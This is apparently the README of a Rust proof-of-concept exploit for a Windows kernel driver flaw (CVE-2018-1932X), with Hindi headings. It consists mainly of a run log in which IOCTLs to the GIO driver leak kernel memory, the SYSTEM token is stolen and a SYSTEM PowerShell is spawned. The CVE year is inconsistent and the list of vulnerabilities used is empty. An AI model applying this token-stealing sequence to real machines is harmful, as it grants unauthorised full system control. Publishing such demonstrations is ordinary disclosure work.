
CVE-2018-1932X कर्नेल ड्राइवर भेद्यताओं के लिए Rust POC
सिर्फ इसलिए कि आपका लक्ष्य मेमोरी असुरक्षित है, इसका मतलब यह नहीं है कि आपका एक्सप्लॉइट असुरक्षित होना चाहिए!
उपयोग की गई असुरक्षाएँ :
परीक्षण किया गया:
Windows 10 Kernel Version 19041 MP (1 procs) Free x64.\CVE-2018-1932X.exe
PS Z:\CVE-2018-1932X\target\debug> .\CVE-2018-1932X.exe
CVE-2019-1932X
Opening Handle to Kernel Driver: \\.\GIO
Acquired Handle: 0xa8
Sending IOCTL: 0xc3502580 with 0x10 bytes of data
[+] Leaked _KPCR: ffffe48159d88000
[*] Address _KPCRB: ffffe48159d88020
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _KPRCB: ffffe48159d88180
[*] Address _KTHREAD: ffffe48159d88188
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _KTHREAD: ffffb50b14d16080
[*] Address _KPROCESS: ffffb50b14d162a0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _KPROCESS: ffffb50b1507f080
[*] Address PID: ffffb50b1507f4c0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked PID: 2092
[+] Known PID: 2092
Walking Active Process Links...
[*] Address ActiveProcessLinks.Flink: ffffb50b1507f4c8 (PID: 82c)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _EPROCESS: fffff8015561e060 (PID: 0)
[*] Address ActiveProcessLinks.Flink: fffff8015561e060 (PID: 0)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _EPROCESS: ffffb50b100624c8 (PID: 4)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Current Token: ffff9708cac8306e
[+] System Token: ffff9708c567b047
Borrowing SYSTEM Token...
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Current Token: ffff9708c567b047
Spawning Process...
[+] Spawned SYSTEM Process
Closing Handle to Kernel Driver: \\.\GIO
Spawned Powershell:
PS C:\> whoami
nt authority\system

